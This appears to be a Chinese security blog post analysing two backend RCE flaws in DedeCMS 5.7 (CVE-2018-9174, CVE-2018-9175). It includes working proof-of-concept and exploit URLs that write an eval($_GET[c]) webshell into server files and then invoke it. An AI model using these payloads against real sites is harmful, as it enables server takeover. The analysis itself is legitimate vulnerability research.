DedeCMS 5.7 后台两处RCE漏洞分析

  1. 第一处(cve-2018-9174)
    1. 漏洞分析
    2. POC/EXP
      1. 方法一
      2. 方法二
  2. 第二处(cve-2018-9175)
    1. 漏洞分析
    2. POC/EXP
      1. POC
      2. EXP
  3. 参考

第一处(cve-2018-9174)

基本原理是语句写入 inc 文件中,然后包含进来。

漏洞分析

首先,我们需要找到一个写文件的地方,我的理解 inc 文件是对include file 的缩写,所以如果能够控制写入的这个文件内容,一般能够找到include它的地方。

跟进去文件,uploads/dede/sys_verifies.php

这里我们就要想办法往里写php代码,看到输出点有双引号包围,需要闭合。

知道dedecms有个全局注册变量,

uploads\include\common.inc.php

其中会将字符串里面的" 替换为\"

所以,我们可以构造

http://mydedecms.com/dede/sys_verifies.php?action=getfiles&refiles[]=12%22;eval($_GET[c]);die();//

到达substr那里

12\";eval($_GET[c]);die();//

截取为

";eval($_GET[c]);die();//

最终写入文件

\uploads\data\modifytmp.inc

任意找到一个includemodifytmp.inc文件的地方。

原来那文件就有调用。

/uploads/dede/sys_verifies.php

所以,可以直接访问shell

http://mydedecms.com/dede/sys_verifies.php?action=down&c=phpinfo();

这种利用方法是https://xz.aliyun.com/t/2237中介绍的,利用了substr

OK,容易找到另外的利用方式。

注意到是双引号闭合。

Great!

我们不用闭合双引号,可以用可变变量来达到代码执行。

访问如下链接。

http://mydedecms.com/dede/sys_verifies.php?action=getfiles&refiles[]=123${${eval($_GET[c])}}

写入的文件如下

访问如下链接

http://mydedecms.com/dede/sys_verifies.php?action=down&c=phpinfo();

POC/EXP

方法一

看到执行了phpinfo()

方法二

第二处(cve-2018-9175)

基本原理是语句写入数据库,从数据库中取值,输出到 php文件中。

漏洞分析

\uploads\dede\sys_cache_up.php

跟进去

直接从数据库中取数据后写入到文件中。

找到一个写入该数据表的地方

/uploads/dede/stepselect_main.php

OK,有意思的是,插入数据库后,底下就执行了更新缓存,所以,插入数据库和写入缓存文件可以通过访问一个链接达到,构造访问如下链接

http://mydedecms.com/dede/stepselect_main.php?action=addenum_save&ename=2334&egroup=;phpinfo();$&issign=1

此时向数据库中添加了数据

此时,缓存文件

uploads/data/enums/;phpinfo();$.php

然后,访问之,链接为

http://mydedecms.com/data/enums/;phpinfo();$.php

POC/EXP

POC
  • 登录后台

  • 访问链接写入数据库,写入缓存文件

    http://mydedecms.com/dede/stepselect_main.php?action=addenum_save&ename=2334&egroup=;phpinfo();$&issign=1
  • 访问缓存文件

    http://mydedecms.com/data/enums/;phpinfo();$.php
    EXP
  • 登录后台

  • 访问链接写入数据库,写入缓存文件

    http://mydedecms.com/dede/stepselect_main.php?action=addenum_save&ename=2334&egroup=;eval($_GET[c]);$&issign=1
  • 访问缓存文件

    http://mydedecms.com/data/enums/;eval($_GET[c]);$.php?c=phpinfo();

参考

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9175

https://xz.aliyun.com/t/2237


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com